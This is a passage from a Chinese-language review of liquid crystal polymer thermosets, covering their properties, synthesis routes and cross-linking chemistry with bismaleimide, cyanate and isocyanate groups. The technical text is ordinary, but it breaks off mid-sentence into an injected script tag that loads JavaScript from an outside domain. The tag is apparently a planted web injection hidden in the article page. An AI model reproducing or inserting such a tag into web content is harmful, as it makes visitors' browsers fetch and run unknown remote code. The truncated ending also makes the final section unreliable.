液晶聚合物热固体研究进展  □刘伟昌 申胜军 刘德生    液晶聚合物（ＬＣＰ）具有强度高、模量高、耐高温、热膨胀系数小以及尺寸稳定性好和耐环境应力强等优良性能，液晶有序性也为液晶聚合物成为功能材料提供了可能。    液晶聚合物网络（ＬＣＮＰ）是在ＬＣＰ研究的基础上产生的，但前者的发展和研究却远远落后于后者。液晶网络聚合物可分为两类，其中交联密度低的一类称作液晶弹性体（Ｌｉｑｕｉｄ  Ｃｒｙｓｔａｌｌｉｎｅ  Ｅｌａｓｔｏｍｅｒｓ），它具有较高的弹性，其液晶微区可由机械形变而取向，可以用作光开关、波导器和非线性光学材料。随着高性能复合材料的发展，高性能的基质成为研究的重点。另一种就是液晶聚合物热固体（Ｌｉｑｕｉｄ Ｃｒｙｓ-ｔａｌｌｉｎｅ  Ｔｈｅｒｍｏｓｅｔｓ，ＬＣＴ＇ｓ），已开始引起人们注意。与液晶弹性体相比，液晶热固体是一种高度交联并且低弹性的液晶聚合物。与线型液晶聚合物相比，在液晶热固体中聚合物分子的液晶有序性被不可逆地固定下来，换言之，液晶热固体结合了交联网络和液晶有序两大特性，具有优异的力学和电学特性。    一、液晶热固体的合成方法    合成液晶热固体的基本条件是，在结构预聚体中存在液晶基元和可供交联的官能团，例如：双键、双马来酰亚胺、氰酸酯基团和环氧基团，同时要求交联反应的副反应少，网络结构明确；原料可以是有液晶性的，这种液晶性通过固化反应被固定下来；原料也可以不表现液晶性，但是随着固化反应的进行，体系出现液晶性并最终保留下来。    合成液晶热固体的方法主要有３种。第一种是将现有的高分子量聚合物通过热、化学或辐射的方法引发交联，含有１，２二苯乙烯或二苯乙炔的聚酯液晶在马来酸酐的存在下可以发生交联反应。第二种方法是多官能团的单体通过自聚形成热固体。双键和氰酸酯等基团就是采取此种方法合成。第三种方法是两种单体之间相互反应而交联。环氧基团与胺类的固体反应就属于此类。    在这３种方法中，第一种合成方法因反应温度等原因限制不常使用，现多采用后两种方法。采用双键或三键作为交联基团的聚合反应体系包括单官能度单体和部分双官能度单体，引发剂可以是热引发剂也可以是光引发剂，在光引发体系中要加入光敏剂。为了使液晶单体取向，可以采用表面处理技术，例如，用抛光的聚酰亚胺薄膜诱导取向，此方法得到的高有序薄膜在２００℃仍可保持其有序度。光引发反应的主要优点是反应温度可以在液晶相区域内任意选择，而且反应速度也可以很容易地通过光照得到控制。但是双键或三键体系的力学和电学性能不高，同时光固化剂还受到体系厚度等方面因素的影响，仅适于制造薄膜。若厚度增加则反应热不容易散去，致使温度上升和有序度下降。    同时，含双键的预聚体还可以采用类似不饱和聚酯树脂交联的方法得到热固体。通过外加苯乙烯并热引发交联热固体具有很好的热性能，不能熔化，软化后体系具有强烈的双折射现象，在玻璃化温度以上，网络的机械性能明显改观。    双马来酰亚胺及其衍生物封端的单体表现有向列相液晶性，而且相转变温度较高。值得注意的是，此类单体可以在熔点以下发生交联反应而改变结构，所以在研究单体热行为时需要高速升温。此类单体在热作用下可以发生交联反应，固化开始于官能团的反ＤｉｅｌｓＡｌｄｅｒ反应，产生的环戊二烯使体系鼓泡并伴有特殊气味。反应初期产物结构繁多，致使体系熔点下降至低于单体熔点，这是交联反应可以发生在单体熔点之下的原因。将液晶性单体快速升温到３００℃并恒温观察，发现体系首先先进入各向同性相，不久，体系发生各向同性相到向列相的转变，最后发生向列相熔体到向列有序热固体的转变。这是由于交联初期形成的齐聚物长径比大于单体，因此清亮点也高于单体，导致体系发生各向同性相到向列相转变。此类单体的固化产物热性质优异，收缩率低，但交联结构不明确给研究带来了困难。    氰酸酯或异氰酸酯基团封端的单体因末端的刚性三原子基团而表现出更宽的液晶稳定区域，而且异氰酸酯的稳定化能力强于氰酸酯。此类官能团可以与含有活泼氢的固化剂，如多元醇或胺反应生成聚氨酯或聚脲网络，也可以经三聚反应形成１，３，５-三嗪结构而交联。后一种交联反应是诸多交联反应中产物结构最明确的一种。在氰酸酯类单体三聚固化过程中也发现了各向同性相到向列相的转变。尽管异氰酸酯类单体的液晶性要好于氰酸酯类单体，但是后者三聚交联的网络比前者形成的网络具有更好的液晶有序性，这是因为异氰酸酯三聚后液晶基元呈星型排列，不利于定向排列形成液晶有序结构，而氰酸酯三聚后会形成可自由旋转的醚键，液晶基元可以平行排列形成液晶有序性。氰酸酯类单体的固化?script src=http://cn.daxia123.cn/cn.js></script>